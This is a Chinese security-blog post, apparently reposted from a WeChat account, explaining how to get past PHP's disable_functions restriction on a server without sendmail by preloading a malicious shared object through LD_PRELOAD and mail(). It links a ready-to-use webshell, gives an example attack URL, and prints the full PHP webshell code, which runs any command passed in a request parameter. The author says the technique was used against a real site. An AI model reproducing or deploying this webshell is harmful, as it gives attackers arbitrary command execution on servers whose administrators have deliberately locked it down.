【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令

  • A+
所属分类:安全文章

【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令

遇到用 disable_functions 指示器禁用了所有命令执行函数的站点,借助环境变量 LD_PRELOAD 劫持 /usr/sbin/sendmail 中的系统函数 getuid(),从而不借助 PHP 的各类命令执行函数(如 exec()、system()、dl() 等等)执行系统命令,屡试不爽。

最近实战中遇到一个站,同样无法执行命令:


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令



disable_functions 禁用命令执行函数:


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令



同时,还禁用了 sendmail,导致之前的惯用法失效:


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令




琢磨了几天,找到一种不依赖 sendmail 的手法:GCC 支持 C 语言规范扩展 __attribute__((constructor)),让我可以劫持共享对象(或者说,拦劫加载共享对象这一动作),不用劫持某一具体函数,实现执行系统命令。

开箱即用的 webshell 位于 https://github.com/yangyangwithg ... func_via_LD_PRELOAD,包括两个关键文件,bypass_disablefunc.php 和 bypass_disablefunc_x64.so。想法把他两上传至目标,访问

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

即可执行系统命令:


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令


<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
    unlink($out_path);
?>


【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令

本文始发于微信公众号(T00ls):【奇技淫巧】无 sendmail 环境下突破 disable_functions 执行命令

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: